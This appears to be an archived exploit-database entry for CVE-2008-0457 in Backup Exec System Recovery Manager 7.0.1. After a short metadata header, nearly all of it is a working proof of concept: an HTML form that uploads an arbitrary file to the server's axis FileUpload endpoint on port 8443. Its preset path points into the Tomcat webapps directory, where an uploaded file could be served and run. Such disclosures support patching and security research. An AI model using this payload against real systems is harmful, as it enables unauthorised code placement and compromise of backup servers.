Backup Exec System Recovery Manager 7.0.1 - Arbitrary File Upload

Author: titon
type: remote
platform: windows
port: 
date_added: 2008-02-06 
date_updated: 2016-11-14 
verified: 1 
codes: CVE-2008-0457 
tags: 
aliases:  
screenshot_url:  
application_url:

<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>

# milw0rm.com [2008-02-07]